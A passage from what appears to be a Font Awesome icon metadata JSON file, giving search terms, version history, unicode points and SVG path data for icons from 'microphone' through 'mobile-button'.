0-32-14.3-32-32V160c0-17.7 14.3-32 32-32zm192 32H160V352H352V160z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M176 24c0-13.3-10.7-24-24-24s-24 10.7-24 24V64c-35.3 0-64 28.7-64 64H24c-13.3 0-24 10.7-24 24s10.7 24 24 24H64v56H24c-13.3 0-24 10.7-24 24s10.7 24 24 24H64v56H24c-13.3 0-24 10.7-24 24s10.7 24 24 24H64c0 35.3 28.7 64 64 64v40c0 13.3 10.7 24 24 24s24-10.7 24-24V448h56v40c0 13.3 10.7 24 24 24s24-10.7 24-24V448h56v40c0 13.3 10.7 24 24 24s24-10.7 24-24V448c35.3 0 64-28.7 64-64h40c13.3 0 24-10.7 24-24s-10.7-24-24-24H448V280h40c13.3 0 24-10.7 24-24s-10.7-24-24-24H448V176h40c13.3 0 24-10.7 24-24s-10.7-24-24-24H448c0-35.3-28.7-64-64-64V24c0-13.3-10.7-24-24-24s-24 10.7-24 24V64H280V24c0-13.3-10.7-24-24-24s-24 10.7-24 24V64H176V24zM160 128H352c17.7 0 32 14.3 32 32V352c0 17.7-14.3 32-32 32H160c-17.7 0-32-14.3-32-32V160c0-17.7 14.3-32 32-32zm192 32H160V352H352V160z"
      }
    },
    "free": ["solid"]
  },
  "microphone": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f130"]
      }
    },
    "changes": [
      "3.1.0",
      "5.0.0",
      "5.0.13",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "address",
        "audio",
        "information",
        "podcast",
        "public",
        "record",
        "sing",
        "sound",
        "voice"
      ]
    },
    "styles": ["solid"],
    "unicode": "f130",
    "label": "Microphone",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766676,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M192 0C139 0 96 43 96 96V256c0 53 43 96 96 96s96-43 96-96V96c0-53-43-96-96-96zM64 216c0-13.3-10.7-24-24-24s-24 10.7-24 24v40c0 89.1 66.2 162.7 152 174.4V464H120c-13.3 0-24 10.7-24 24s10.7 24 24 24h72 72c13.3 0 24-10.7 24-24s-10.7-24-24-24H216V430.4c85.8-11.7 152-85.3 152-174.4V216c0-13.3-10.7-24-24-24s-24 10.7-24 24v40c0 70.7-57.3 128-128 128s-128-57.3-128-128V216z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M192 0C139 0 96 43 96 96V256c0 53 43 96 96 96s96-43 96-96V96c0-53-43-96-96-96zM64 216c0-13.3-10.7-24-24-24s-24 10.7-24 24v40c0 89.1 66.2 162.7 152 174.4V464H120c-13.3 0-24 10.7-24 24s10.7 24 24 24h72 72c13.3 0 24-10.7 24-24s-10.7-24-24-24H216V430.4c85.8-11.7 152-85.3 152-174.4V216c0-13.3-10.7-24-24-24s-24 10.7-24 24v40c0 70.7-57.3 128-128 128s-128-57.3-128-128V216z"
      }
    },
    "free": ["solid"]
  },
  "microphone-lines": {
    "aliases": {
      "names": ["microphone-alt"],
      "unicodes": {
        "composite": ["1f399"],
        "secondary": ["10f3c9"]
      }
    },
    "changes": ["5.0.0", "5.0.13", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "audio",
        "mic",
        "microphone",
        "music",
        "podcast",
        "record",
        "sing",
        "sound",
        "studio",
        "studio microphone",
        "voice"
      ]
    },
    "styles": ["solid"],
    "unicode": "f3c9",
    "label": "Microphone Lines",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766676,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M96 96V256c0 53 43 96 96 96s96-43 96-96H208c-8.8 0-16-7.2-16-16s7.2-16 16-16h80V192H208c-8.8 0-16-7.2-16-16s7.2-16 16-16h80V128H208c-8.8 0-16-7.2-16-16s7.2-16 16-16h80c0-53-43-96-96-96S96 43 96 96zM320 240v16c0 70.7-57.3 128-128 128s-128-57.3-128-128V216c0-13.3-10.7-24-24-24s-24 10.7-24 24v40c0 89.1 66.2 162.7 152 174.4V464H120c-13.3 0-24 10.7-24 24s10.7 24 24 24h72 72c13.3 0 24-10.7 24-24s-10.7-24-24-24H216V430.4c85.8-11.7 152-85.3 152-174.4V216c0-13.3-10.7-24-24-24s-24 10.7-24 24v24z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M96 96V256c0 53 43 96 96 96s96-43 96-96H208c-8.8 0-16-7.2-16-16s7.2-16 16-16h80V192H208c-8.8 0-16-7.2-16-16s7.2-16 16-16h80V128H208c-8.8 0-16-7.2-16-16s7.2-16 16-16h80c0-53-43-96-96-96S96 43 96 96zM320 240v16c0 70.7-57.3 128-128 128s-128-57.3-128-128V216c0-13.3-10.7-24-24-24s-24 10.7-24 24v40c0 89.1 66.2 162.7 152 174.4V464H120c-13.3 0-24 10.7-24 24s10.7 24 24 24h72 72c13.3 0 24-10.7 24-24s-10.7-24-24-24H216V430.4c85.8-11.7 152-85.3 152-174.4V216c0-13.3-10.7-24-24-24s-24 10.7-24 24v24z"
      }
    },
    "free": ["solid"]
  },
  "microphone-lines-slash": {
    "aliases": {
      "names": ["microphone-alt-slash"],
      "unicodes": {
        "secondary": ["10f539"]
      }
    },
    "changes": ["5.0.13", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "audio",
        "disable",
        "mute",
        "podcast",
        "record",
        "sing",
        "sound",
        "voice"
      ]
    },
    "styles": ["solid"],
    "unicode": "f539",
    "label": "Microphone Lines Slash",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766677,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M38.8 5.1C28.4-3.1 13.3-1.2 5.1 9.2S-1.2 34.7 9.2 42.9l592 464c10.4 8.2 25.5 6.3 33.7-4.1s6.3-25.5-4.1-33.7L472.1 344.7c15.2-26 23.9-56.3 23.9-88.7V216c0-13.3-10.7-24-24-24s-24 10.7-24 24v24 16c0 21.2-5.1 41.1-14.2 58.7L416 300.8V256H358.9l-34.5-27c2.9-3.1 7-5 11.6-5h80V192H336c-8.8 0-16-7.2-16-16s7.2-16 16-16h80V128H336c-8.8 0-16-7.2-16-16s7.2-16 16-16h80c0-53-43-96-96-96s-96 43-96 96v54.3L38.8 5.1zm362.5 407l-43.1-33.9C346.1 382 333.3 384 320 384c-70.7 0-128-57.3-128-128v-8.7L144.7 210c-.5 1.9-.7 3.9-.7 6v40c0 89.1 66.2 162.7 152 174.4V464H248c-13.3 0-24 10.7-24 24s10.7 24 24 24h72 72c13.3 0 24-10.7 24-24s-10.7-24-24-24H344V430.4c20.4-2.8 39.7-9.1 57.3-18.2z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M38.8 5.1C28.4-3.1 13.3-1.2 5.1 9.2S-1.2 34.7 9.2 42.9l592 464c10.4 8.2 25.5 6.3 33.7-4.1s6.3-25.5-4.1-33.7L472.1 344.7c15.2-26 23.9-56.3 23.9-88.7V216c0-13.3-10.7-24-24-24s-24 10.7-24 24v24 16c0 21.2-5.1 41.1-14.2 58.7L416 300.8V256H358.9l-34.5-27c2.9-3.1 7-5 11.6-5h80V192H336c-8.8 0-16-7.2-16-16s7.2-16 16-16h80V128H336c-8.8 0-16-7.2-16-16s7.2-16 16-16h80c0-53-43-96-96-96s-96 43-96 96v54.3L38.8 5.1zm362.5 407l-43.1-33.9C346.1 382 333.3 384 320 384c-70.7 0-128-57.3-128-128v-8.7L144.7 210c-.5 1.9-.7 3.9-.7 6v40c0 89.1 66.2 162.7 152 174.4V464H248c-13.3 0-24 10.7-24 24s10.7 24 24 24h72 72c13.3 0 24-10.7 24-24s-10.7-24-24-24H344V430.4c20.4-2.8 39.7-9.1 57.3-18.2z"
      }
    },
    "free": ["solid"]
  },
  "microphone-slash": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f131"]
      }
    },
    "changes": [
      "3.1.0",
      "5.0.0",
      "5.0.13",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "audio",
        "disable",
        "mute",
        "podcast",
        "record",
        "sing",
        "sound",
        "voice"
      ]
    },
    "styles": ["solid"],
    "unicode": "f131",
    "label": "Microphone Slash",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766677,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M38.8 5.1C28.4-3.1 13.3-1.2 5.1 9.2S-1.2 34.7 9.2 42.9l592 464c10.4 8.2 25.5 6.3 33.7-4.1s6.3-25.5-4.1-33.7L472.1 344.7c15.2-26 23.9-56.3 23.9-88.7V216c0-13.3-10.7-24-24-24s-24 10.7-24 24v40c0 21.2-5.1 41.1-14.2 58.7L416 300.8V96c0-53-43-96-96-96s-96 43-96 96v54.3L38.8 5.1zM344 430.4c20.4-2.8 39.7-9.1 57.3-18.2l-43.1-33.9C346.1 382 333.3 384 320 384c-70.7 0-128-57.3-128-128v-8.7L144.7 210c-.5 1.9-.7 3.9-.7 6v40c0 89.1 66.2 162.7 152 174.4V464H248c-13.3 0-24 10.7-24 24s10.7 24 24 24h72 72c13.3 0 24-10.7 24-24s-10.7-24-24-24H344V430.4z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M38.8 5.1C28.4-3.1 13.3-1.2 5.1 9.2S-1.2 34.7 9.2 42.9l592 464c10.4 8.2 25.5 6.3 33.7-4.1s6.3-25.5-4.1-33.7L472.1 344.7c15.2-26 23.9-56.3 23.9-88.7V216c0-13.3-10.7-24-24-24s-24 10.7-24 24v40c0 21.2-5.1 41.1-14.2 58.7L416 300.8V96c0-53-43-96-96-96s-96 43-96 96v54.3L38.8 5.1zM344 430.4c20.4-2.8 39.7-9.1 57.3-18.2l-43.1-33.9C346.1 382 333.3 384 320 384c-70.7 0-128-57.3-128-128v-8.7L144.7 210c-.5 1.9-.7 3.9-.7 6v40c0 89.1 66.2 162.7 152 174.4V464H248c-13.3 0-24 10.7-24 24s10.7 24 24 24h72 72c13.3 0 24-10.7 24-24s-10.7-24-24-24H344V430.4z"
      }
    },
    "free": ["solid"]
  },
  "microscope": {
    "aliases": {
      "unicodes": {
        "composite": ["1f52c"],
        "secondary": ["10f610"]
      }
    },
    "changes": ["5.2.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "covid-19",
        "electron",
        "lens",
        "microscope",
        "optics",
        "science",
        "shrink",
        "testing",
        "tool"
      ]
    },
    "styles": ["solid"],
    "unicode": "f610",
    "label": "Microscope",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766751,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M160 32c0-17.7 14.3-32 32-32h32c17.7 0 32 14.3 32 32c17.7 0 32 14.3 32 32V288c0 17.7-14.3 32-32 32c0 17.7-14.3 32-32 32H192c-17.7 0-32-14.3-32-32c-17.7 0-32-14.3-32-32V64c0-17.7 14.3-32 32-32zM32 448H320c70.7 0 128-57.3 128-128s-57.3-128-128-128V128c106 0 192 86 192 192c0 49.2-18.5 94-48.9 128H480c17.7 0 32 14.3 32 32s-14.3 32-32 32H320 32c-17.7 0-32-14.3-32-32s14.3-32 32-32zm80-64H304c8.8 0 16 7.2 16 16s-7.2 16-16 16H112c-8.8 0-16-7.2-16-16s7.2-16 16-16z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M160 32c0-17.7 14.3-32 32-32h32c17.7 0 32 14.3 32 32c17.7 0 32 14.3 32 32V288c0 17.7-14.3 32-32 32c0 17.7-14.3 32-32 32H192c-17.7 0-32-14.3-32-32c-17.7 0-32-14.3-32-32V64c0-17.7 14.3-32 32-32zM32 448H320c70.7 0 128-57.3 128-128s-57.3-128-128-128V128c106 0 192 86 192 192c0 49.2-18.5 94-48.9 128H480c17.7 0 32 14.3 32 32s-14.3 32-32 32H320 32c-17.7 0-32-14.3-32-32s14.3-32 32-32zm80-64H304c8.8 0 16 7.2 16 16s-7.2 16-16 16H112c-8.8 0-16-7.2-16-16s7.2-16 16-16z"
      }
    },
    "free": ["solid"]
  },
  "microsoft": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f3ca",
    "label": "Microsoft",
    "voted": true,
    "svg": {
      "brands": {
        "last_modified": 1660014481,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M0 32h214.6v214.6H0V32zm233.4 0H448v214.6H233.4V32zM0 265.4h214.6V480H0V265.4zm233.4 0H448V480H233.4V265.4z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M0 32h214.6v214.6H0V32zm233.4 0H448v214.6H233.4V32zM0 265.4h214.6V480H0V265.4zm233.4 0H448V480H233.4V265.4z"
      }
    },
    "free": ["brands"]
  },
  "mill-sign": {
    "changes": ["6.0.0-beta1", "6.0.0-beta3", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Mill Sign", "currency"]
    },
    "styles": ["solid"],
    "unicode": "e1ed",
    "label": "Mill Sign",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766475,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M302.1 42.8c5.9-16.6-2.7-35-19.4-40.9s-35 2.7-40.9 19.4L208 116.1c-5.7 4-11.1 8.5-16 13.5C171.7 108.9 143.3 96 112 96c-19.5 0-37.8 5-53.7 13.7C52.5 101.4 42.9 96 32 96C14.3 96 0 110.3 0 128v80V416c0 17.7 14.3 32 32 32s32-14.3 32-32V208c0-26.5 21.5-48 48-48s48 21.5 48 48v42.5L81.9 469.2c-5.9 16.6 2.7 35 19.4 40.9s35-2.7 40.9-19.4l21.4-60C168.9 441 179.6 448 192 448c17.7 0 32-14.3 32-32V261.5l35.7-100c3.9-1 8.1-1.6 12.3-1.6c26.5 0 48 21.5 48 48V416c0 17.7 14.3 32 32 32s32-14.3 32-32V208c0-58.2-44.3-106-101.1-111.5l19.2-53.8z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M302.1 42.8c5.9-16.6-2.7-35-19.4-40.9s-35 2.7-40.9 19.4L208 116.1c-5.7 4-11.1 8.5-16 13.5C171.7 108.9 143.3 96 112 96c-19.5 0-37.8 5-53.7 13.7C52.5 101.4 42.9 96 32 96C14.3 96 0 110.3 0 128v80V416c0 17.7 14.3 32 32 32s32-14.3 32-32V208c0-26.5 21.5-48 48-48s48 21.5 48 48v42.5L81.9 469.2c-5.9 16.6 2.7 35 19.4 40.9s35-2.7 40.9-19.4l21.4-60C168.9 441 179.6 448 192 448c17.7 0 32-14.3 32-32V261.5l35.7-100c3.9-1 8.1-1.6 12.3-1.6c26.5 0 48 21.5 48 48V416c0 17.7 14.3 32 32 32s32-14.3 32-32V208c0-58.2-44.3-106-101.1-111.5l19.2-53.8z"
      }
    },
    "free": ["solid"]
  },
  "minimize": {
    "aliases": {
      "names": ["compress-arrows-alt"],
      "unicodes": {
        "secondary": ["10f78c"]
      }
    },
    "changes": ["5.6.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "collapse",
        "fullscreen",
        "minimize",
        "move",
        "resize",
        "shrink",
        "smaller"
      ]
    },
    "styles": ["solid"],
    "unicode": "f78c",
    "label": "Minimize",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684766331,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M456 224H312c-13.3 0-24-10.7-24-24V56c0-9.7 5.8-18.5 14.8-22.2s19.3-1.7 26.2 5.2l40 40L442.3 5.7C446 2 450.9 0 456 0s10 2 13.7 5.7l36.7 36.7C510 46 512 50.9 512 56s-2 10-5.7 13.7L433 143l40 40c6.9 6.9 8.9 17.2 5.2 26.2s-12.5 14.8-22.2 14.8zm0 64c9.7 0 18.5 5.8 22.2 14.8s1.7 19.3-5.2 26.2l-40 40 73.4 73.4c3.6 3.6 5.7 8.5 5.7 13.7s-2 10-5.7 13.7l-36.7 36.7C466 510 461.1 512 456 512s-10-2-13.7-5.7L369 433l-40 40c-6.9 6.9-17.2 8.9-26.2 5.2s-14.8-12.5-14.8-22.2V312c0-13.3 10.7-24 24-24H456zm-256 0c13.3 0 24 10.7 24 24V456c0 9.7-5.8 18.5-14.8 22.2s-19.3 1.7-26.2-5.2l-40-40L69.7 506.3C66 510 61.1 512 56 512s-10-2-13.7-5.7L5.7 469.7C2 466 0 461.1 0 456s2-10 5.7-13.7L79 369 39 329c-6.9-6.9-8.9-17.2-5.2-26.2s12.5-14.8 22.2-14.8H200zM56 224c-9.7 0-18.5-5.8-22.2-14.8s-1.7-19.3 5.2-26.2l40-40L5.7 69.7C2 66 0 61.1 0 56s2-10 5.7-13.7L42.3 5.7C46 2 50.9 0 56 0s10 2 13.7 5.7L143 79l40-40c6.9-6.9 17.2-8.9 26.2-5.2s14.8 12.5 14.8 22.2V200c0 13.3-10.7 24-24 24H56z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M456 224H312c-13.3 0-24-10.7-24-24V56c0-9.7 5.8-18.5 14.8-22.2s19.3-1.7 26.2 5.2l40 40L442.3 5.7C446 2 450.9 0 456 0s10 2 13.7 5.7l36.7 36.7C510 46 512 50.9 512 56s-2 10-5.7 13.7L433 143l40 40c6.9 6.9 8.9 17.2 5.2 26.2s-12.5 14.8-22.2 14.8zm0 64c9.7 0 18.5 5.8 22.2 14.8s1.7 19.3-5.2 26.2l-40 40 73.4 73.4c3.6 3.6 5.7 8.5 5.7 13.7s-2 10-5.7 13.7l-36.7 36.7C466 510 461.1 512 456 512s-10-2-13.7-5.7L369 433l-40 40c-6.9 6.9-17.2 8.9-26.2 5.2s-14.8-12.5-14.8-22.2V312c0-13.3 10.7-24 24-24H456zm-256 0c13.3 0 24 10.7 24 24V456c0 9.7-5.8 18.5-14.8 22.2s-19.3 1.7-26.2-5.2l-40-40L69.7 506.3C66 510 61.1 512 56 512s-10-2-13.7-5.7L5.7 469.7C2 466 0 461.1 0 456s2-10 5.7-13.7L79 369 39 329c-6.9-6.9-8.9-17.2-5.2-26.2s12.5-14.8 22.2-14.8H200zM56 224c-9.7 0-18.5-5.8-22.2-14.8s-1.7-19.3 5.2-26.2l40-40L5.7 69.7C2 66 0 61.1 0 56s2-10 5.7-13.7L42.3 5.7C46 2 50.9 0 56 0s10 2 13.7 5.7L143 79l40-40c6.9-6.9 17.2-8.9 26.2-5.2s14.8 12.5 14.8 22.2V200c0 13.3-10.7 24-24 24H56z"
      }
    },
    "free": ["solid"]
  },
  "minus": {
    "aliases": {
      "names": ["subtract"],
      "unicodes": {
        "composite": ["2013", "2212", "2796"],
        "secondary": ["10f068"]
      }
    },
    "changes": ["1.0.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "En Dash",
        "Minus Sign",
        "collapse",
        "delete",
        "hide",
        "math",
        "minify",
        "minus",
        "negative",
        "remove",
        "sign",
        "trash",
        "−"
      ]
    },
    "styles": ["solid"],
    "unicode": "f068",
    "label": "Minus",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767245,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M432 256c0 17.7-14.3 32-32 32L48 288c-17.7 0-32-14.3-32-32s14.3-32 32-32l352 0c17.7 0 32 14.3 32 32z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M432 256c0 17.7-14.3 32-32 32L48 288c-17.7 0-32-14.3-32-32s14.3-32 32-32l352 0c17.7 0 32 14.3 32 32z"
      }
    },
    "free": ["solid"]
  },
  "mitten": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f7b5"]
      }
    },
    "changes": ["5.6.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "clothing",
        "cold",
        "glove",
        "hands",
        "knitted",
        "seasonal",
        "warmth"
      ]
    },
    "styles": ["solid"],
    "unicode": "f7b5",
    "label": "Mitten",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767603,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M352 384H64L5.4 178.9C1.8 166.4 0 153.4 0 140.3C0 62.8 62.8 0 140.3 0h3.4c66 0 123.5 44.9 139.5 108.9l31.4 125.8 17.6-20.1C344.8 200.2 362.9 192 382 192h2.8c34.9 0 63.3 28.3 63.3 63.3c0 15.9-6 31.2-16.8 42.9L352 384zM32 448c0-17.7 14.3-32 32-32H352c17.7 0 32 14.3 32 32v32c0 17.7-14.3 32-32 32H64c-17.7 0-32-14.3-32-32V448z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M352 384H64L5.4 178.9C1.8 166.4 0 153.4 0 140.3C0 62.8 62.8 0 140.3 0h3.4c66 0 123.5 44.9 139.5 108.9l31.4 125.8 17.6-20.1C344.8 200.2 362.9 192 382 192h2.8c34.9 0 63.3 28.3 63.3 63.3c0 15.9-6 31.2-16.8 42.9L352 384zM32 448c0-17.7 14.3-32 32-32H352c17.7 0 32 14.3 32 32v32c0 17.7-14.3 32-32 32H64c-17.7 0-32-14.3-32-32V448z"
      }
    },
    "free": ["solid"]
  },
  "mix": {
    "changes": ["5.0.0", "5.0.3"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f3cb",
    "label": "Mix",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014477,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M0 64v348.9c0 56.2 88 58.1 88 0V174.3c7.9-52.9 88-50.4 88 6.5v175.3c0 57.9 96 58 96 0V240c5.3-54.7 88-52.5 88 4.3v23.8c0 59.9 88 56.6 88 0V64H0z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M0 64v348.9c0 56.2 88 58.1 88 0V174.3c7.9-52.9 88-50.4 88 6.5v175.3c0 57.9 96 58 96 0V240c5.3-54.7 88-52.5 88 4.3v23.8c0 59.9 88 56.6 88 0V64H0z"
      }
    },
    "free": ["brands"]
  },
  "mixcloud": {
    "changes": ["4.5.0", "5.0.0", "6.1.2"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f289",
    "label": "Mixcloud",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014459,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M212.98 346.566H179.789V195.114L185.973 173.47H175.262L137.127 346.566H76.1069L37.7323 173.47H27.276L33.1913 195.114V346.566H0V165H65.6506L102.248 338.096H110.747L147.329 165H212.98L212.98 346.566ZM544.459 283.589L458.434 345.655V307.534L531.329 255.776L458.434 204.017V165.896L544.459 228.231H553.721L640 165.896V204.017L566.866 255.776L640 307.549V345.655L553.721 283.589H544.459ZM430.157 272.311H248.113V239.255H430.157V272.311Z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M212.98 346.566H179.789V195.114L185.973 173.47H175.262L137.127 346.566H76.1069L37.7323 173.47H27.276L33.1913 195.114V346.566H0V165H65.6506L102.248 338.096H110.747L147.329 165H212.98L212.98 346.566ZM544.459 283.589L458.434 345.655V307.534L531.329 255.776L458.434 204.017V165.896L544.459 228.231H553.721L640 165.896V204.017L566.866 255.776L640 307.549V345.655L553.721 283.589H544.459ZM430.157 272.311H248.113V239.255H430.157V272.311Z"
      }
    },
    "free": ["brands"]
  },
  "mixer": {
    "changes": ["5.12.1", "5.14.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "e056",
    "label": "Mixer",
    "voted": true,
    "svg": {
      "brands": {
        "last_modified": 1660014466,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M114.57,76.07a45.71,45.71,0,0,0-67.51-6.41c-17.58,16.18-19,43.52-4.75,62.77l91.78,123L41.76,379.58c-14.23,19.25-13.11,46.59,4.74,62.77A45.71,45.71,0,0,0,114,435.94L242.89,262.7a12.14,12.14,0,0,0,0-14.23ZM470.24,379.58,377.91,255.45l91.78-123c14.22-19.25,12.83-46.59-4.75-62.77a45.71,45.71,0,0,0-67.51,6.41l-128,172.12a12.14,12.14,0,0,0,0,14.23L398,435.94a45.71,45.71,0,0,0,67.51,6.41C483.35,426.17,484.47,398.83,470.24,379.58Z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M114.57,76.07a45.71,45.71,0,0,0-67.51-6.41c-17.58,16.18-19,43.52-4.75,62.77l91.78,123L41.76,379.58c-14.23,19.25-13.11,46.59,4.74,62.77A45.71,45.71,0,0,0,114,435.94L242.89,262.7a12.14,12.14,0,0,0,0-14.23ZM470.24,379.58,377.91,255.45l91.78-123c14.22-19.25,12.83-46.59-4.75-62.77a45.71,45.71,0,0,0-67.51,6.41l-128,172.12a12.14,12.14,0,0,0,0,14.23L398,435.94a45.71,45.71,0,0,0,67.51,6.41C483.35,426.17,484.47,398.83,470.24,379.58Z"
      }
    },
    "free": ["brands"]
  },
  "mizuni": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f3cc",
    "label": "Mizuni",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014469,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M248 8C111 8 0 119.1 0 256c0 137 111 248 248 248s248-111 248-248C496 119.1 385 8 248 8zm-80 351.9c-31.4 10.6-58.8 27.3-80 48.2V136c0-22.1 17.9-40 40-40s40 17.9 40 40v223.9zm120-9.9c-12.9-2-26.2-3.1-39.8-3.1-13.8 0-27.2 1.1-40.2 3.1V136c0-22.1 17.9-40 40-40s40 17.9 40 40v214zm120 57.7c-21.2-20.8-48.6-37.4-80-48V136c0-22.1 17.9-40 40-40s40 17.9 40 40v271.7z\"/></svg>",
        "viewBox": [0, 0, 496, 512],
        "width": 496,
        "height": 512,
        "path": "M248 8C111 8 0 119.1 0 256c0 137 111 248 248 248s248-111 248-248C496 119.1 385 8 248 8zm-80 351.9c-31.4 10.6-58.8 27.3-80 48.2V136c0-22.1 17.9-40 40-40s40 17.9 40 40v223.9zm120-9.9c-12.9-2-26.2-3.1-39.8-3.1-13.8 0-27.2 1.1-40.2 3.1V136c0-22.1 17.9-40 40-40s40 17.9 40 40v214zm120 57.7c-21.2-20.8-48.6-37.4-80-48V136c0-22.1 17.9-40 40-40s40 17.9 40 40v271.7z"
      }
    },
    "free": ["brands"]
  },
  "mobile": {
    "aliases": {
      "names": ["mobile-android", "mobile-phone"],
      "unicodes": {
        "composite": ["1f4f1"],
        "secondary": ["10f3ce"]
      }
    },
    "changes": ["5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "android",
        "call",
        "cell",
        "cell phone",
        "device",
        "mobile",
        "mobile phone",
        "number",
        "phone",
        "screen",
        "telephone",
        "text"
      ]
    },
    "styles": ["solid"],
    "unicode": "f3ce",
    "label": "Mobile",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767342,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M80 0C44.7 0 16 28.7 16 64V448c0 35.3 28.7 64 64 64H304c35.3 0 64-28.7 64-64V64c0-35.3-28.7-64-64-64H80zm80 432h64c8.8 0 16 7.2 16 16s-7.2 16-16 16H160c-8.8 0-16-7.2-16-16s7.2-16 16-16z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M80 0C44.7 0 16 28.7 16 64V448c0 35.3 28.7 64 64 64H304c35.3 0 64-28.7 64-64V64c0-35.3-28.7-64-64-64H80zm80 432h64c8.8 0 16 7.2 16 16s-7.2 16-16 16H160c-8.8 0-16-7.2-16-16s7.2-16 16-16z"
      }
    },
    "free": ["solid"]
  },
  "mobile-button": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f10b"]
      }
    },
    "changes": ["3.0.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "apple",
        "call",
        "cell phone",
        "device",
        "iphone",
        "number",
        "screen",
        "telephone"
      ]
    },
    "styles": ["solid"],
    "unicode": "f10b",
    "label": "Mobile Button",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767342,
